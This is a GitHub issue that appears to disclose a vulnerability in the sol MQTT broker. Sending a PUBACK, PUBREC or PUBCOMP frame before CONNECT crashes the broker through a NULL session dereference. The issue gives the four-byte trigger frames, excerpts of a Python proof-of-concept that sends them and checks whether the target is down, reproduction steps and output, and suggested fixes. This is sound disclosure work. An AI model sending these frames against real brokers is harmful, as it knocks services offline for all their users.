Skip to content

sol MQTT Broker Unauthenticated Single-Packet Denial of Service #15

@X1AOxiang

Description

@X1AOxiang

1. Report Metadata

Field Value
Project sol
Project description MQTT v3.1.1 broker
Vulnerability title Unauthenticated NULL pointer dereference via pre-CONNECT MQTT ACK packets
Affected component MQTT packet dispatch and ACK handlers
Affected role MQTT broker/server
Tested revision 373d84877d22031b45a7f3599297f691eab09230 (373d848), 2024-12-12
Project version in CMake 0.18.5
Discovery / report date 2026-06-16
Vulnerability type Memory safety / denial of service
Verified PoC poc_unauth_puback_dos.py
Trigger packet MQTT PUBACK before CONNECT, bytes 40 02 00 01

2. Executive Summary

sol is vulnerable to an unauthenticated remote denial of service in its MQTT broker packet-processing state machine. A newly accepted client is initialized with client->connected = false and client->session = NULL. However, the packet parsing and dispatch path accepts MQTT packet types other than CONNECT as the first packet and dispatches them directly to their handlers without verifying that the client has completed a successful MQTT CONNECT handshake or that client->session is non-NULL.

An unauthenticated remote client can connect to the broker and send a single MQTT PUBACK packet as the first frame, without sending CONNECT. The broker dispatches this packet to puback_handler, which dereferences c->session->i_msgs[pkt_id]. Because c->session is still NULL, the broker receives SIGSEGV and the entire process exits. This was reproduced locally against sol 0.18.5 at commit 373d84877d22031b45a7f3599297f691eab09230.

The issue is not dependent on the authentication configuration. It is reachable before authentication, before a session exists, and before the MQTT connection state is established.

4. Affected Scope

4.1 Affected role

The affected component is the MQTT broker/server role. The vulnerable path is:

TCP client connects
  -> client_init initializes session = NULL and connected = false
  -> client sends PUBACK/PUBREC/PUBCOMP before CONNECT
  -> recv_packet accepts packet type
  -> process_message calls mqtt_unpack and handle_command
  -> puback_handler/pubrec_handler/pubcomp_handler dereferences c->session
  -> SIGSEGV

4.2 Authentication and configuration requirements

No authentication is required. The attack is performed before the MQTT CONNECT packet and before username/password validation. The issue is independent of allow_anonymous; even deployments that require authentication can be crashed before the authentication path is reached.

4.3 Network exposure

Any network-exposed sol broker TCP listener is potentially affected. The PoC was verified against a local listener on 127.0.0.1:1883, but the trigger is a normal TCP connection followed by a minimal MQTT frame and does not rely on local access.

6. Technical Root Cause

The root cause is a missing MQTT connection/session state check before dispatching packets whose handlers assume a valid client_session.

6.1 New clients start without a session

When a TCP connection is accepted, client_init marks the client as not connected and explicitly sets client->session = NULL:

// src/server.c:381-404
static void client_init(struct client *client)
{
    client->online        = true;
    client->connected     = false;
    client->clean_session = true;
    client->client_id[0]  = '\0';
    client->status        = WAITING_HEADER;
    client->rc            = 0;
    client->rpos          = ATOMIC_VAR_INIT(0);
    client->read          = ATOMIC_VAR_INIT(0);
    client->toread        = ATOMIC_VAR_INIT(0);
    if (!client->rbuf)
        client->rbuf =
            try_calloc(conf->max_request_size, sizeof(unsigned char));
    client->wrote   = ATOMIC_VAR_INIT(0);
    client->towrite = ATOMIC_VAR_INIT(0);
    if (!client->wbuf)
        client->wbuf =
            try_calloc(conf->max_request_size, sizeof(unsigned char));
    client->last_seen = time(NULL);
    client->has_lwt   = false;
    client->session   = NULL;
    pthread_mutex_init(&client->mutex, NULL);
}

The session is later created only in the successful connect_handler path.

6.2 Packet parsing accepts non-CONNECT packet types before connection establishment

The fixed-header validation checks only that the MQTT packet type is in the numeric range CONNECT through DISCONNECT:

// src/server.c:503-566
if (c->status == WAITING_LENGTH) {

    if (c->read == 2) {
        opcode = *c->rbuf >> 4;

        /*
         * Check for OPCODE, if an unknown OPCODE is received return an
         * error
         */
        if (DISCONNECT < opcode || CONNECT > opcode)
            return -ERRPACKETERR;

        /*
         * We have a PINGRESP/PINGREQ or a DISCONNECT packet, we're done
         * here
         */
        if (opcode > UNSUBSCRIBE) {
            c->rpos   = 2;
            c->toread = c->read;
            goto exit;
        }
    }

    ...

    pktlen = mqtt_decode_length(c->rbuf + 1, &pos);

    ...

    c->rpos   = pos + 1;
    c->toread = pktlen + pos + 1; // pos = bytes used to store length

    /* Looks like we got an ACK packet, we're done reading */
    if (pktlen <= 4)
        goto exit;

This logic does not require the first MQTT control packet to be CONNECT, nor does it check c->connected before accepting ACK-class packets.

6.3 Dispatch does not enforce connected/session state

After parsing, process_message unpacks and dispatches the packet based only on the packet type:

// src/server.c:858-897
static void process_message(struct ev_ctx *ctx, struct client *c)
{
    struct io_event io = {.client = c};
    /*
     * Unpack received bytes into a mqtt_packet structure and execute the
     * correct handler based on the type of the operation.
     */
    mqtt_unpack(c->rbuf + c->rpos, &io.data, *c->rbuf, c->read - c->rpos);
    c->toread = c->read = c->rpos = 0;
    c->rc = handle_command(io.data.header.bits.type, &io);
    switch (c->rc) {
    case REPLY:
    case MQTT_NOT_AUTHORIZED:
    case MQTT_BAD_USERNAME_OR_PASSWORD:
        enqueue_event_write(c);
        if (io.data.header.bits.type != PUBLISH)
            mqtt_packet_destroy(&io.data);
        break;
    ...
    default:
        c->status = WAITING_HEADER;
        if (io.data.header.bits.type != PUBLISH)
            mqtt_packet_destroy(&io.data);
        break;
    }
}

handle_command directly indexes the handler table and invokes the corresponding handler:

// src/handlers.c:873-880
/*
 * This is the only public API we expose from this module beside
 * publish_message. It just give access to handlers mapped by message type.
 */
int handle_command(unsigned type, struct io_event *event)
{
    return handlers[type](event);
}

There is no check that event->client->connected == true or that event->client->session != NULL before invoking session-dependent handlers.

6.4 ACK handlers dereference c->session unconditionally

puback_handler assumes that the client has an active session and inflight message table:

// src/handlers.c:785-801
static int puback_handler(struct io_event *e)
{
    struct client *c = e->client;
    unsigned pkt_id  = e->data.ack.pkt_id;
    log_debug("Received PUBACK from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
    pthread_mutex_lock(&c->mutex);
#endif
    inflight_msg_clear(&c->session->i_msgs[pkt_id]);
    c->session->i_msgs[pkt_id].packet = NULL;
    c->session->i_acks[pkt_id]        = -1;
    --c->session->inflights;
#if THREADSNR > 0
    pthread_mutex_unlock(&c->mutex);
#endif
    return NOREPLY;
}

The same issue exists in pubrec_handler:

// src/handlers.c:803-819
static int pubrec_handler(struct io_event *e)
{
    struct client *c = e->client;
    unsigned pkt_id  = e->data.ack.pkt_id;
    log_debug("Received PUBREC from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
    pthread_mutex_lock(&c->mutex);
#endif
    mqtt_pack_mono(c->wbuf + c->towrite, PUBREL, pkt_id);
    c->towrite += MQTT_ACK_LEN;
#if THREADSNR > 0
    pthread_mutex_unlock(&c->mutex);
#endif
    // Update inflight acks table
    c->session->i_acks[pkt_id] = time(NULL);
    log_debug("Sending PUBREL to %s (m%u)", c->client_id, pkt_id);
    return REPLY;
}

And in pubcomp_handler:

// src/handlers.c:839-855
static int pubcomp_handler(struct io_event *e)
{
    struct client *c = e->client;
    unsigned pkt_id  = e->data.ack.pkt_id;
    log_debug("Received PUBCOMP from %s (m%u)", c->client_id, pkt_id);
#if THREADSNR > 0
    pthread_mutex_lock(&c->mutex);
#endif
    c->session->i_acks[pkt_id] = -1;
    inflight_msg_clear(&c->session->i_msgs[pkt_id]);
    c->session->i_msgs[pkt_id].packet = NULL;
    --c->session->inflights;
#if THREADSNR > 0
    pthread_mutex_unlock(&c->mutex);
#endif
    return NOREPLY;
}

When these handlers run before a successful CONNECT, c->session is NULL and the process crashes.

7. Trigger Sequence

A minimal trigger uses the following steps:

1. Attacker opens a TCP connection to the sol broker.
2. Attacker does not send MQTT CONNECT.
3. Attacker sends a four-byte MQTT PUBACK packet:

   40 02 00 01

   0x40       = MQTT PUBACK fixed-header byte
   0x02       = remaining length: 2 bytes
   0x00 0x01  = packet identifier: 1

4. sol accepts the packet type and dispatches it to puback_handler.
5. puback_handler executes c->session->i_msgs[1] while c->session is NULL.
6. The broker process receives SIGSEGV and exits.

Equivalent triggers also exist with pre-CONNECT PUBREC and PUBCOMP packets:

PUBREC:  50 02 00 01
PUBCOMP: 70 02 00 01

8. Proof of Concept

8.1 PoC location

The verified PoC is located at:

poc_unauth_puback_dos.py

The PoC connects to the broker, sends a pre-CONNECT PUBACK by default, and then probes whether the broker still accepts TCP connections.

8.2 PoC excerpt

# poc_unauth_puback_dos.py:8-12
MQTT_FRAMES = {
    "puback": bytes([0x40, 0x02, 0x00, 0x01]),
    "pubrec": bytes([0x50, 0x02, 0x00, 0x01]),
    "pubcomp": bytes([0x70, 0x02, 0x00, 0x01]),
}
# poc_unauth_puback_dos.py:56-89
try:
    s = connect_once(args.host, args.port, args.timeout)
except OSError as e:
    print(f"[-] could not connect to target: {e}")
    return 2

try:
    s.sendall(frame)
    if args.linger > 0:
        time.sleep(args.linger)
except OSError as e:
    print(f"[-] send failed: {e}")
    s.close()
    return 2
finally:
    try:
        s.close()
    except OSError:
        pass

print("[+] malformed state-machine input was sent successfully")
print("[*] vulnerable sol builds dereference client->session while it is still NULL")

if args.no_probe:
    return 0

time.sleep(args.probe_delay)
alive = probe_port(args.host, args.port, args.timeout)
if alive:
    print("[-] target still accepts TCP connections; it may be patched, supervised/restarted, or the crash was not observed")
    return 1

print("[+] target no longer accepts TCP connections")
print("[+] VULNERABILITY REPRODUCED: unauthenticated single-packet DoS")
return 0

9. Reproduction Steps

9.1 Build sol

From the sol repository root:

cmake .
make -j$(nproc)

This build was verified successfully and produced ./sol.

9.2 Start the broker

./sol -v -p 1883

The verified broker startup output included:

Sol v0.18.5 is starting
Network settings:
     Socket family: TCP
     Address: 127.0.0.1
     Port: 1883
Event loop backend: epoll
Server start

9.3 Run the PoC

In a second terminal:

python3 poc_unauth_puback_dos.py 127.0.0.1 1883 --probe-delay 2

Observed PoC output:

[*] sol unauthenticated pre-CONNECT ACK DoS PoC
[*] target: 127.0.0.1:1883
[*] sending MQTT PUBACK before CONNECT
[*] frame: 40 02 00 01
[+] malformed state-machine input was sent successfully
[*] vulnerable sol builds dereference client->session while it is still NULL
[+] target no longer accepts TCP connections
[+] VULNERABILITY REPRODUCED: unauthenticated single-packet DoS

Observed broker output:

Connection from 127.0.0.1:49166
Received PUBACK from  (m1)
Segmentation fault (core dumped)
Exit code: 139

The environment printed the localized message 段错误 (核心已转储), which corresponds to Segmentation fault (core dumped).

10. Impact

10.1 Availability

The primary impact is complete broker process termination. Because the broker process exits, all connected clients lose service, and new clients cannot connect until the broker is restarted by an operator or supervisor.

10.2 Confidentiality and integrity

The demonstrated issue is an availability vulnerability. No confidentiality or integrity impact is required for the crash trigger.

10.3 Reliability

The trigger is deterministic in the tested build. It requires only a TCP connection and a single four-byte MQTT packet. It does not require authentication, a valid client ID, a prior subscription, an existing session, or a specific broker configuration.

11. Suggested Remediation

Several complementary changes would address this class of issue.

11.1 Enforce MQTT connection state before dispatch

Before dispatching a packet to a handler, reject packets from clients that have not completed CONNECT, unless the packet type is CONNECT itself. For example, in or before handle_command / process_message:

if (!c->connected && io.data.header.bits.type != CONNECT) {
    return -ERRCLIENTDC;
}

The exact error handling can follow the project's existing disconnect path, but the important property is that pre-CONNECT packets must not reach session-dependent handlers.

11.2 Add defensive session checks in handlers

Handlers that require an established session should explicitly verify c->session != NULL before dereferencing it:

if (c->session == NULL) {
    return -ERRCLIENTDC;
}

This provides defense in depth in case future dispatch paths accidentally call these handlers before a session is initialized.

11.3 Validate MQTT control-packet ordering

MQTT brokers should enforce protocol ordering rules. Before a client has successfully completed CONNECT, the broker should accept only CONNECT. Packets such as PUBACK, PUBREC, PUBREL, PUBCOMP, SUBSCRIBE, UNSUBSCRIBE, PUBLISH, PINGREQ, or DISCONNECT should not be processed as normal authenticated/session-bearing client traffic.

13. Additional Related State-Machine Concern

The same missing state-machine enforcement may also affect other packet types that assume an established MQTT session. For example, pre-CONNECT SUBSCRIBE was identified as another potential NULL-dereference path in the analysis because subscription handling can use the client's session data. The ACK-class packets are the smallest verified trigger because PUBACK is only four bytes and reliably reaches puback_handler.

Separately, when authentication is enabled (allow_anonymous=false), failure to close the connection after an authentication error may leave clients in an unauthenticated state that can still submit later packets. That appears to share the same root cause: missing checks on client->connected and client->session in the central dispatch path and individual [handlers.](

poc_unauth_puback_dos.py

)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions